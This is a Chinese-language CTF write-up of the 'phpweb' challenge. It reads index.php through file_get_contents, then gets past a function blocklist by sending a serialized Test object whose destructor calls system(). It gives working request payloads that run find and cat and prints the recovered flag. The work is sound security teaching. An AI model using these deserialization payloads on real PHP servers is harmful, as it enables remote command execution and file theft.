[网鼎杯 2020 朱雀组]phpweb
每隔五秒POST一次，传递func和p参数
func=abc&p=123
call_user_func() expects parameter 1 to be a valid callback, function 'abc' not found or invalid function name
尝试system执行
func=system&p=ls
Hacker...
被过滤了QAQ
再尝试file_get_contents获取flag
func=file_get_contents&p=/flag
file_get_contents(/flag): failed to open stream: No such file or directory
并没有/flag这个文件，但是file_get_contents没有被过滤，尝试利用这一点获取index.php的内容
func=file_get_contents&p=index.php
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
好家伙，ban了这么多
注意到有个从没用到的Test类，里边还有个__destruct方法，而且unserialize也没被ban，看来反序列化八九不离十了
大致思路是构造payload，利用反序列化生成Test类的一个对象，再借由其__destruct方法绕过过滤
<?php
class Test {
var $p;
var $func;
}
$payload = new Test;
$payload->func = "system";
$payload->p = 'find / -name *flag*';
echo serialize($payload);
?>
O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
...
/tmp/flagoefiu4r93
...
读取flag
$payload->p = 'cat /tmp/flagoefiu4r93';
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
flag{3b352024-0ec2-4ac3-a110-9cbd86917b0c}